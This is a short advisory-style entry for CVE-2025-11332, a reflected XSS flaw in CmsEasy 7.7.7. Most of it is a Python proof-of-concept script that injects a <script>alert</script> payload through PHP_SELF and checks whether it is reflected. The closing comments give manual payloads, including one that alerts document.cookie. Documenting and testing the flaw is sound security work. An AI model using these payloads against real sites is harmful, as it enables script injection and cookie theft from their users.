CVE-2025-11332：CmsEasy 7.7.7 URL Handler 跨站脚本漏洞

## CVE-2025-11332 - CmsEasy XSS via PHP_SELF ## Vulnerable endpoint: lib/inc/view.php (URL Handler) ## Affected versions: CmsEasy <= 7.7.7 # Proof of Concept - Reflected XSS # The vulnerability exists because PHP_SELF is reflected in the page # without proper sanitization in the URL Handler component. import requests TARGET_URL = "http://target-cms.example.com" # Malicious payload injected into PHP_SELF via path info PAYLOAD = "/index.php/<script>alert('XSS-CVE-2025-11332')</script>" def exploit(): """ Send a crafted request to the target CmsEasy instance. When the server processes the URL, PHP_SELF will contain the injected <script> tag, which will be rendered in the response without sanitization, triggering XSS execution in the victim's browser. """ url = TARGET_URL + PAYLOAD print(f"[+] Sending malicious request to: {url}") response = requests.get(url) if "<script>alert('XSS-CVE-2025-11332')</script>" in response.text: print("[+] XSS payload reflected in response - VULNERABLE!") print("[+] When a victim visits this URL, the script will execute.") else: print("[-] Payload not found in response - may be patched.") if __name__ == "__main__": exploit() # Alternative manual PoC (paste in browser address bar): # http://target-cms.example.com/index.php/" onmouseover="alert(document.cookie) # # Or use a crafted link: # <a href="http://target/index.php/<svg onload=alert(1)>">Click me</a>